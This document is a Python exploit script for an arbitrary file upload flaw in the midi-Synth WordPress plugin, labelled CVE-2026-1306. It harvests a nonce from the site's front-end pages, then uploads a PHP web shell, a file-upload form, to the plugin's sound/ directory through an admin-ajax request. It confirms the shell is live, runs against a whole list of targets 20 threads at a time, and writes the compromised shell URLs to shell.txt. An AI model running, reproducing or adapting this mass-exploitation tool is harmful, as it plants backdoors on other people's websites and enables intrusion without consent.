midi-Synth WordPress Plugin Arbitrary File Upload (CVE-2026-1306)

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
midi-Synth (WordPress) CVE-2026-1306 list runner: export AJAX writes under sound/ then
runs conversion; early wp_die() on bad API key leaves the file (no cleanup).

Nonce is printed in frontend JS when [midiSynth] shortcode is present on a page.
ASCII-only for portability (PEP 263). Authorized security testing only.
"""
import base64
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional
from urllib.parse import urlparse

import requests
import urllib3

urllib3.disable_warnings()

HEADERS = {"User-Agent": "Mozilla/5.0"}

SHELL_NAME = "murrez.php"
SHELL_CONTENT = (
    "<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],"
    "$_FILES['f']['name']);echo \"Uploaded: \".$_FILES['f']['name'];}?>"
    "<form method=\"POST\" enctype=\"multipart/form-data\">"
    "<input type=\"file\" name=\"f\"><button>Upload</button></form>"
)

AJAX_ACTION = "export"
PLUGIN_SOUND_PATH = "/wp-content/plugins/midi-synth/sound/"

NONCE_RE = re.compile(
    r'var\s+midiSynth_nonce\s*=\s*"([a-zA-Z0-9_-]+)"',
    re.IGNORECASE,
)


def normalize_base_url(raw: str) -> str:
    """Force https:// origin only (no path). Accepts google.com, http://host, https://host/path."""
    s = raw.strip()
    if not s:
        return ""
    low = s.lower()
    if not low.startswith(("http://", "https://")):
        s = "https://" + s.lstrip("/")
    elif low.startswith("http://"):
        rest = s[7:].lstrip("/")
        s = ("https://" + rest) if rest else "https://"
    p = urlparse(s)
    host = p.netloc
    if not host and p.path:
        host = p.path.split("/")[0].split("@")[-1]
    if not host:
        return ""
    return ("https://" + host).rstrip("/")


def fetch_nonce(session: requests.Session, base_url: str, probe_paths: list) -> tuple:
    """Return (nonce, page_url_fetched) or (None, None)."""
    for path in probe_paths:
        path = path.strip()
        if not path:
            continue
        if not path.startswith("/"):
            path = "/" + path
        url = base_url.rstrip("/") + path
        try:
            r = session.get(url, headers=HEADERS, verify=False, timeout=20)
            if r.status_code != 200:
                continue
            m = NONCE_RE.search(r.text)
            if m:
                return m.group(1), url
        except requests.RequestException:
            continue
    return None, None


def exploit_target(target_url: str, probe_paths: list) -> Optional[str]:
    base = normalize_base_url(target_url).rstrip("/")
    ajax_url = f"{base}/wp-admin/admin-ajax.php"
    shell_url = f"{base}{PLUGIN_SOUND_PATH}{SHELL_NAME}"

    print(f" Attack on: {base}")

    session = requests.Session()
    print("[*] Fetching midiSynth_nonce (page must include [midiSynth] shortcode)...")
    nonce, src_page = fetch_nonce(session, base, probe_paths)
    if not nonce:
        print(
            "[-] nonce not found. Try --paths with URLs that embed the shortcode "
            "(e.g. /, /your-midi-page/).\n"
        )
        return None
    print(f"[+] Nonce: {nonce} (from {src_page})")

    file_midi_b64 = base64.b64encode(SHELL_CONTENT.encode("utf-8")).decode("ascii")
    data = {
        "action": AJAX_ACTION,
        "nonce": nonce,
        "masterAPIkey": "",
        "fileMidi": file_midi_b64,
        "fileName": SHELL_NAME,
        "fileSize": "1",
        "formatAudio": "mp3",
        "modeAudio": "stereo",
        "codecAudio": "aac",
        "frequencyAudio": "48000",
        "resolutionAudio": "16",
        "bitrateAudio": "128",
    }

    print("[*] POST export (expect API failure -> file left in sound/)...")
    try:
        r = session.post(ajax_url, data=data, headers=HEADERS, verify=False, timeout=45)
        print(f"[*] HTTP {r.status_code} | body (trunc): {r.text[:400]!r}")
    except requests.RequestException as e:
        print(f"[-] POST error: {e}\n")
        return None

    try:
        vr = session.get(shell_url, headers=HEADERS, verify=False, timeout=15)
        body = vr.text or ""
        if vr.status_code == 200 and ("<?php" in body or "multipart/form-data" in body):
            print(f"\n{'='*60}")
            print(f"SHELL UPLOADER: {shell_url}")
            print(f"{'='*60}\n")
            return shell_url
    except requests.RequestException:
        pass

    print("[-] Shell URL not confirmed (wrong path, patched, or nonce/cleanup differ).\n")
    return None


def main():
    argv = sys.argv[1:]
    probe_paths = ["/", "/midi/", "/midi-synth/", "/synth/", "/welcome/"]
    if "--paths" in argv:
        i = argv.index("--paths")
        try:
            probe_paths = [p.strip() for p in argv[i + 1].split(",") if p.strip()]
            del argv[i : i + 2]
        except IndexError:
            print("Usage: --paths requires comma-separated paths", file=sys.stderr)
            sys.exit(2)

    if not argv:
        print("Usage: python3 CVE-2026-1306.py <list.txt> [--paths /,/blog/midi/]", file=sys.stderr)
        print("Example: python3 CVE-2026-1306.py wordpress.txt", file=sys.stderr)
        sys.exit(2)

    list_path = argv[0]
    try:
        with open(list_path, "r", encoding="utf-8", errors="replace") as f:
            targets = []
            for line in f:
                line = line.strip()
                if not line or line.startswith("#"):
                    continue
                u = normalize_base_url(line)
                if u:
                    targets.append(u.rstrip("/"))
    except FileNotFoundError:
        print(f"File not found: {list_path}", file=sys.stderr)
        sys.exit(1)

    print(f"[+] List: {list_path} - {len(targets)} targets")
    print(f"[+] Probe paths: {probe_paths}\n")

    successful = []
    file_lock = threading.Lock()

    def target_worker(target):
        hit = exploit_target(target, probe_paths)
        if hit:
            with file_lock:
                successful.append(hit)
                with open("shell.txt", "a", encoding="utf-8") as out:
                    out.write(hit + "\n")
        return hit

    with ThreadPoolExecutor(max_workers=20) as executor:
        futures = [executor.submit(target_worker, t) for t in targets]
        for i, future in enumerate(as_completed(futures), 1):
            future.result()
            print(f"[{i}/{len(targets)}]")

    print(f"\n{'='*60}")
    print(f"[+] Total success: {len(successful)}/{len(targets)}")
    print(f"[+] Saved to shell.txt")
    print(f"{'='*60}")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(0)